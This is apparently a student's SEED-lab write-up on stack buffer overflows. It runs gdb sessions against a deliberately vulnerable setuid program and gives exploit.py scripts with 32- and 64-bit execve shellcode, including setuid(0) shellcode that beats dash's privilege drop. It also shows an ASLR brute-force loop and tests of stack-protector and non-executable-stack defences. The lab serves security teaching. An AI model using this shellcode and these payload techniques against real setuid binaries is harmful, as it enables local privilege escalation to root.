Task1:

```
[09/29/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/29/21]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
[09/29/21]seed@VM:~$
```

Here we tur off address space randomization bu setting it to “0” so that we are able to guess the exact address of the code

And then we set change the shell from dash to zsh because dash/bash shell has a counter measure that drops privileges and doesn’t allow a user to get root privileges when the vulnerability is executed

```
[09/29/21]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[09/29/21]seed@VM:~/.../shellcode$ ls
a32.out  a64.out  call_shellcode.c  Makefile
[09/29/21]seed@VM:~/.../shellcode$
```

Here we use make command to compile the already given call_shellcode.c program in both 32 bit and 64 bit. The make command uses makefile script to compile the c program

```
[09/29/21]seed@VM:~/.../shellcode$ ls
a32.out  a64.out  call_shellcode.c  Makefile
[09/29/21]seed@VM:~/.../shellcode$ ./a32.out
$ cd
cd: HOME not set
$ ls
Makefile  a32.out  a64.out  call_shellcode.c
$ cd ..
$ ls
code  shellcode
$ pwd
/home/seed/assignment3/Labsetup(2)/Labsetup
$
```

Here we can see that we are able to invoke the shell when we execute the program and also see that he shell is invoked on seed user and not on root user

```
[09/29/21]seed@VM:~/.../shellcode$ ls
a32.out  a64.out  call_shellcode.c  Makefile
[09/29/21]seed@VM:~/.../shellcode$ ./a64.out
$ pwd
/home/seed/assignment3/Labsetup(2)/Labsetup/shellcode
$ ls
Makefile  a32.out  a64.out  call_shellcode.c
$
```

Here we can see that we are able to invoke the shell when we execute the program and also see that he shell is invoked on seed user and not on root user

Task2:

Makefile for task 2

```
FLAGS    = -z execstack -fno-stack-protector
FLAGS_32 = -m32
TARGET   = stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-L2-dbg stack-L3-dbg stack-L4-dbg

L1 = 130
L2 = 150
L3 = 170
L4 = 10

all: $(TARGET)

stack-L1: stack.c
        gcc -DBUF_SIZE=$(L1) $(FLAGS) $(FLAGS_32) -o $@ stack.c
        gcc -DBUF_SIZE=$(L1) $(FLAGS) $(FLAGS_32) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@

stack-L2: stack.c
        gcc -DBUF_SIZE=$(L2) $(FLAGS) $(FLAGS_32) -o $@ stack.c
        gcc -DBUF_SIZE=$(L2) $(FLAGS) $(FLAGS_32) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@

stack-L3: stack.c
<ent3/Labsetup(2)/Labsetup/code/Makefile" 35L, 965C          8,7          Top
```

- Task 1: 10 points
- Task 2: 5 points

BryteWave Course

Here we edit the L!,L2,L3,L4 of the makefile script as mention by the professor

This is the stack.c vulnerable program

```
[09/29/21]seed@VM:~/.../code$ cat stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

void dummy_function(char *str);

int bof(char *str)
{
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    if (!badfile) {
       perror("Opening badfile"); exit(1);
```

```
    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}

// This function is used to insert a stack frame of size
// 1000 (approximately) between main's and bof's stack frames.
// The function itself does not do anything.
void dummy_function(char *str)
{
    char dummy_buffer[1000];
    memset(dummy_buffer, 0, 1000);
    bof(str);
}

[09/29/21]seed@VM:~/.../code$ ls
brute-force.sh  exploit.py  Makefile  stack.c
[09/29/21]seed@VM:~/.../code$ make
gcc -DBUF_SIZE=130 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=130 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg sta
ck.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=150 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=150 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg sta
ck.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=170 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=170 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
[09/30/21]seed@VM:~/.../code$
```

To compile the stack.c program we use the already available makefile and use make command to compile the program. The make command compiles the program at L1,L2,L3,L4 buffer size and sets al the programs to setuid

```
[09/30/21]seed@VM:~/.../code$ touch badfile
[09/30/21]seed@VM:~/.../code$ ls
badfile          Makefile   stack-L1-dbg  stack-L3      stack-L4-dbg
brute-force.sh   stack.c    stack-L2      stack-L3-dbg
exploit.py       stack-L1   stack-L2-dbg  stack-L4
```

Touch command is used to create a badfile

Using gdb to access stack-l1-dgb in debugger mode

```
[09/30/21]seed@VM:~/.../code$ gdb stack-L1-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
an "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m
ean "=="?
  if pyversion is 3:
Reading symbols from stack-L1-dbg...
gdb-peda$
```

Set a break point at bof function

```
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$
```

Using run command to execute the program until we reach the break point

```
gdb-peda$ run
Starting program: /home/seed/assignment3/Labsetup(2)/Labsetup/code/sta
ck-L1-dbg
Input size: 0
[----------------------------------registers-------------------------
---------]
EAX: 0xffffcb28 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf10 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf18 --> 0xffffd148 --> 0x0
ESP: 0xffffcb0c --> 0x565563f4 (<dummy_function+62>:    add    esp,0x1
0)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction
overflow)
[-------------------------------------code---------------------------
---------]
   0x565562a4 <frame_dummy+4>:  jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:  mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:        ret
=> 0x565562ad <bof>:    endbr32
   0x565562b1 <bof+4>:  push   ebp
   0x565562b2 <bof+5>:  mov    ebp,esp
   0x565562b4 <bof+7>:  push   ebx
   0x565562b5 <bof+8>:  sub    esp,0x94
[------------------------------------stack---------------------------
---------]
0000| 0xffffcb0c --> 0x565563f4 (<dummy_function+62>:   add    esp,0x1
0)
0004| 0xffffcb10 --> 0xffffcf33 --> 0x456
0008| 0xffffcb14 --> 0x0
0012| 0xffffcb18 --> 0x3e8
```

```
0012| 0xffffcb18 --> 0x3e8
0016| 0xffffcb1c --> 0x565563c9 (<dummy_function+19>:   add    eax,0x2
bef)
0020| 0xffffcb20 --> 0x0
0024| 0xffffcb24 --> 0x0
0028| 0xffffcb28 --> 0x0
[--------------------------------------------------------------------
---------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xffffcf33 "V\004") at stack.c:16
16      {
gdb-peda$ 
```

Right Ctrl

After we reach the break point we use the next command to reach the next point where vulnarability exists that is the strcpy command

```
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf10 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcb08 --> 0xffffcf18 --> 0xffffd148 --> 0x0
ESP: 0xffffca70 ("0pUV.pUV(\317\377\377")
EIP: 0x565562c5 (<bof+24>:      sub    esp,0x8)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562b5 <bof+8>:  sub    esp,0x94
   0x565562bb <bof+14>: call   0x565563fd <__x86.get_pc_thunk.ax>
   0x565562c0 <bof+19>: add    eax,0x2cf8
=> 0x565562c5 <bof+24>: sub    esp,0x8
   0x565562c8 <bof+27>: push   DWORD PTR [ebp+0x8]
   0x565562cb <bof+30>: lea    edx,[ebp-0x8a]
   0x565562d1 <bof+36>: push   edx
   0x565562d2 <bof+37>: mov    ebx,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffca70 ("0pUV.pUV(\317\377\377")
0004| 0xffffca74 (".pUV(\317\377\377")
0008| 0xffffca78 --> 0xffffcf28 --> 0x205
0012| 0xffffca7c --> 0x0
0016| 0xffffca80 --> 0x0
0020| 0xffffca84 --> 0x0
0024| 0xffffca88 ("\"pUV\016")
0028| 0xffffca8c --> 0xe
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ 
```

```
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb08
gdb-peda$ p $buffer
$2 = void
gdb-peda$ p &buffer
$3 = (char (*)[130]) 0xffffca7e
gdb-peda$
```

In this part we print out the assembly level codes for the break pointer what is pointing to the buffer and the address of the buffer

```
gdb-peda$ p/d 0xffffcb08 - 0xffffca7e
$3 = 138
gdb-peda$
```

Next we do ebp -buffer to get the offset value which is further incremented by 4 because it’s a 32 bit program

The ret value is going to be the buffer address + any random number >250 because it has to be something that overflows the available buffer and should not end with a double zero in the hexdump when the exploit is created in the badfile

The start is going to be 517 – len(shellcode) which is already given to us

Contents of exploit.py after updating the start, ret, and offset

```python
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffca7e + 279          # Change this number
offset = 142               # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

```
[09/30/21]seed@VM:~/.../code$ ./exploit.py
[09/30/21]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# pwd
/home/seed/assignment3/Labsetup(2)/Labsetup/code
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24
(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambash
are),136(docker)
# ls
Makefile                      stack-L1      stack-L3-dbg
badfile                       stack-L1-dbg  stack-L4
brute-force.sh                stack-L2      stack-L4-dbg
exploit.py                    stack-L2-dbg  stack.c
peda-session-stack-L1-dbg.txt stack-L3
#
```

Once we execute the exploit and a badfile is updated with the payload which is sent into the buffer overflow vulnerable program and execute it we can see that we are able to get seed shell

Task4:

```
[09/30/21]seed@VM:~/.../code$ gdb stack-L2-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gp
l.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal.
Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal.
 Did you mean "=="?
  if pyversion is 3:
Reading symbols from stack-L2-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/assignment3/Labsetup(2)/Labsetup/code/sta
ck-L2-dbg
Input size: 517
[----------------------------------registers-------------------------
---------]
EAX: 0xffffcb28 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
```

```
gdb-peda$ next
[----------------------------------registers-----------------------------
---------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf10 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcb08 --> 0xffffcf18 --> 0xffffd148 --> 0x0
ESP: 0xffffca60 --> 0x0
EIP: 0x565562c5 (<bof+24>:      sub    esp,0x8)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction
overflow)
[-------------------------------------code-------------------------------
---------]
   0x565562b5 <bof+8>:  sub    esp,0xa4
   0x565562bb <bof+14>: call   0x565563fd <__x86.get_pc_thunk.ax>
   0x565562c0 <bof+19>: add    eax,0x2cf8
=> 0x565562c5 <bof+24>: sub    esp,0x8
   0x565562c8 <bof+27>: push   DWORD PTR [ebp+0x8]
   0x565562cb <bof+30>: lea    edx,[ebp-0x9e]
   0x565562d1 <bof+36>: push   edx
   0x565562d2 <bof+37>: mov    ebx,eax
[------------------------------------stack-------------------------------
---------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p &buffer
$1 = (char (*)[150]) 0xffffca6a
gdb-peda$ p &ebp
No symbol "ebp" in current context.
gdb-peda$ p $ebp
$2 = (void *) 0xffffcb08
gdb-peda$
```

Doing the same as task3 but for stack-l2-dgb

The start is going to be the same value but ret and offset change based on the new address found

We further increment the offset value by another 200 for this program

Contents of exploit.py after updating the code for L2

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ebp = 0xffffcb08
buff = 0xffffca6a
ret    = 0xffffca7e + 279 + 200         # Change this number

offset = ebp - buff + 4             # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Updated exploit.py for level 2

```
[09/30/21]seed@VM:~/.../code$ ./exploit.py
[09/30/21]seed@VM:~/.../code$ ./stack-L2
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24
(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambash
are),136(docker)
# ls
Makefile                         stack-L2
badfile                          stack-L2-dbg
brute-force.sh                   stack-L3
exploit.py                       stack-L3-dbg
peda-session-stack-L1-dbg.txt    stack-L4
peda-session-stack-L2-dbg.txt    stack-L4-dbg
stack-L1                         stack.c
stack-L1-dbg
```

Here we execute the exploit again to make another badfile that is compatible for the stack-L2 and the execute the stack-L2. Then we are able to gain access to the seed shell using the buffer overflow exploit that exists in the stack.c program at L = 150

Task5:

```
[10/01/21]seed@VM:~/.../code$ gdb stack-L3-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
an "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m
ean "=="?
  if pyversion is 3:
Reading symbols from stack-L3-dbg...
gdb-peda$ b bof
```

Opening stack-l3 using gdb debugger

```
gdb-peda$ run
Starting program: /home/seed/assignment3/Labsetup(2)/Labsetup/code/stack-L3-dbg
Input size: 517
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdd40 --> 0x9090909090909090
RBX: 0x555555555360 (<__libc_csu_init>: endbr64)
RCX: 0x7fffffffdd00 --> 0x0
RDX: 0x7fffffffdd00 --> 0x0
RSI: 0x0
```

Running all the commands and getting the required address that will be used in the exploit

```
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd910
gdb-peda$ p &buffer
$2 = (char (*)[170]) 0x7fffffffd860
gdb-peda$ p/s 0x7fffffffd910 - 0x7fffffffd860
$3 = 0xb0
gdb-peda$ p/d 0x7fffffffd910 - 0x7fffffffd860
$4 = 176
```

In this we take the rbp value and buffer address values and also calculate the offset number which is rbp-buffer address that is 176

```python
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (

  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)              # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
rbp = 0x7fffffffd910
buff = 0x7fffffffd860
ret    = 0x7fffffffd860 + 1600          # Change this number
offset =  176 + 8             # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

The exploit.py program is updated with the results we got in the debugger and the address are used in ret, offset. The offset is also incremented by 8 as this is a 64 bit and the shell code is also updated to 64 but shell code (already given in the pdf and task 1) and the value of L is also change to 8 as this is running for a 64 bit

Once all the values are updated exploit.py is executed to create the bad file

```
[10/01/21]seed@VM:~/.../code$ ./exploit.py
[10/01/21]seed@VM:~/.../code$ ./stack-L3
Input size: 517
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ whoami
seed
$ exit
[10/01/21]seed@VM:~/.../code$ 
# Change this number
```

When we execute the vulnerable program using the payload(badfile) created by the exploit and we are able to get seed shell after the vulnerability is exploited causing buffer overflow

Task6:

```
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd910
gdb-peda$ p &buffer
$2 = (char (*)[10]) 0x7fffffffd906
gdb-peda$ p/s 0x7fffffffd910 - 0x7fffffffd906
$3 = 0xa
gdb-peda$ p/d 0x7fffffffd910 - 0x7fffffffd906
$4 = 10
```

We do the all the same thing we have done in the previous task and get the addresses for rbp and buffer and calculate the offset

```python
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (

  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)                  # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
rbp = 0x7fffffffd910
buff = 0x7fffffffd906
ret    = 0x7fffffffd906 + 1600             # Change this number
offset =  10 + 8            # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

The exploit.py has been updated according to the values that we have calculated and above image and update ret , offset which ius incrfemented by 8 as this if for a 64-bit and L = 8 the same as before.

The ret is increased by 1600 as the given buffer is too small and smaller values give out segmentation faults

```
[10/01/21]seed@VM:~/.../code$ ./exploit.py
[10/01/21]seed@VM:~/.../code$ ./stack-L4
Input size: 517
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ pwd
/home/seed/assignment3/Labsetup(2)/Labsetup/code
$ exit
[10/01/21]seed@VM:~/.../code$
```

Once the vulnerable program is executed using the badfile created by the exploit, a buffer overflow occurs and we are able to gain access to the sed shell.

```
rbp = 0x7fffffffd910
buff = 0x7fffffffd906
ret    = 0x7fffffffd906 + 200          # Change this number
offset =  10 + 8             # Change this number
```

```
[10/01/21]seed@VM:~/.../code$ ./exploit.py
[10/01/21]seed@VM:~/.../code$ ./stack-L4
Input size: 517
Segmentation fault
[10/01/21]seed@VM:~/.../code$
```

Here we can see that when that when smaller buffer is used we get segmentation fault error

Task7:

```
[09/30/21]seed@VM:~/.../code$ sudo ln -sf /bin/dash /bin/sh
```

using Commented setuid(0) binary,i.e. the setuid binary code is comment out in the code

```
[09/30/21]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[09/30/21]seed@VM:~/.../shellcode$ ./a32.out
$ whoami
seed
$ exit
[09/30/21]seed@VM:~/.../shellcode$ ./a64.out
$ whoami
seed
$ exit
[09/30/21]seed@VM:~/.../shellcode$ ls
a32.out  a64.out  call_shellcode.c  Makefile
[09/30/21]seed@VM:~/.../shellcode$
```

We observe that we are able to again access to the shell but its not root shell as we are not able to bypass the counter measures set by dash shell

using setudi(0) binary which added to the top of shellcode

```
const char shellcode[] =
#if __x86_64__
  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
```

```
[09/30/21]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[09/30/21]seed@VM:~/.../shellcode$ ls
a32.out  a64.out  call_shellcode.c  Makefile
[09/30/21]seed@VM:~/.../shellcode$ ./a32.out
# whoami
root
# exit
[09/30/21]seed@VM:~/.../shellcode$ ./a64.out
# whoami
root
# exit
[09/30/21]seed@VM:~/.../shellcode$
```

```
[10/01/21]seed@VM:~/.../shellcode$ ./a32.out
# whoami
root
# ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18  2019 /bin/dash
lrwxrwxrwx 1 root root      9 Oct  1 01:11 /bin/sh -> /bin/dash
-rwxr-xr-x 1 root root 878288 Feb 23  2020 /bin/zsh
#
```

Once we put the dash counter measure code in the program and execute it we are able to get the shell with root privileges when the program is made a setuid program and executed

```
[09/30/21]seed@VM:~/.../code$ ./exploit.py
[09/30/21]seed@VM:~/.../code$ ./stack-L1
Input size: 517
$ whoami
seed
$
```

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

```

```
[09/30/21]seed@VM:~/.../code$ ./exploit.py
[09/30/21]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
# exit
```

Using the dash countermeasure binary code we are able to get root shell while not using the counter measure gives us only seed shell as the privileges are dropped on execution when the vulnerability is sensed

Task8:

```
[09/30/21]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/30/21]seed@VM:~/.../code$
```

Turning on address randomization using the above command

```
[09/30/21]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Segmentation fault
[09/30/21]seed@VM:~/.../code$
```

Once the address randomization is turned back on the code stop working and gives out a segmentation fault error

```
#!/bin/bash

SECONDS=0
value=0

while true; do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  ./stack-L1
done
```

The bruteforce.sh program that is used on stackL1 so that it can run multiple times hoping that the address in the exploit program are correct at some point and we get a root shell

```
./brute-force.sh: line 14: 109057 Segmentation fault      ./stack-L1
1 minutes and 51 seconds elapsed.
The program has been running 105460 times so far.
Input size: 517
$ 
```

Using the brute-force method we were able to gain access to seed shell in 1minute 51 seconds and it took 105460 attempts to gain access to the shell. Once we have gained access to the shell the brute-force loop stops

Task9:

Task9a:

```
[09/30/21]seed@VM:~/.../shellcode$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

Address randomization set to off

```
[09/30/21]seed@VM:~/.../code$ ./exploit.py
[09/30/21]seed@VM:~/.../code$ ./stack-L1
Input size: 517
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ exit
[09/30/21]seed@VM:~/.../code$
```

Exploit still working before stack guard

```
[10/01/21]seed@VM:~/.../code$ gcc -o stack stack.c
[10/01/21]seed@VM:~/.../code$ ls
badfile          peda-session-stack-L1-dbg.txt   stack-L1-dbg   stack-L3-dbg
brute-force.sh   stack                           stack-L2       stack-L4
exploit.py       stack.c                         stack-L2-dbg   stack-L4-dbg
Makefile         stack-L1                        stack-L3
[10/01/21]seed@VM:~/.../code$ chown root stack
chown: changing ownership of 'stack': Operation not permitted
[10/01/21]seed@VM:~/.../code$ sudo chown root stack
[10/01/21]seed@VM:~/.../code$ sudo chmod 4755 stack
[10/01/21]seed@VM:~/.../code$ ls
badfile          peda-session-stack-L1-dbg.txt   stack-L1-dbg   stack-L3-dbg
brute-force.sh   stack                           stack-L2       stack-L4
exploit.py       stack.c                         stack-L2-dbg   stack-L4-dbg
Makefile         stack-L1                        stack-L3
[10/01/21]seed@VM:~/.../code$
```

Compiling stack.c without -fno-stack-protector

```
[10/01/21]seed@VM:~/.../code$ ./stack
Input size: 517
*** stack smashing detected ***: terminated
Aborted
[10/01/21]seed@VM:~/.../code$
```

We observe that the stack guard that is enabled by default, doesn't allow any buffer overflow, but instead it terminates the execution as soon as the vulnerability comes into play

Task9b

```
[10/01/21]seed@VM:~/.../shellcode$ gcc -m32 -o a32.out call_shellcode.c
[10/01/21]seed@VM:~/.../shellcode$ gcc  -o a64.out call_shellcode.c
[10/01/21]seed@VM:~/.../shellcode$ ls
a32.out  a64.out  call_shellcode.c  Makefile
[10/01/21]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[10/01/21]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
[10/01/21]seed@VM:~/.../shellcode$
```

Compiling the program without "-z execstack" and executing it

We observe that when we try to exploit the vulnerability we get error saying segmentation fault, this is because of non-executable stack countermeasure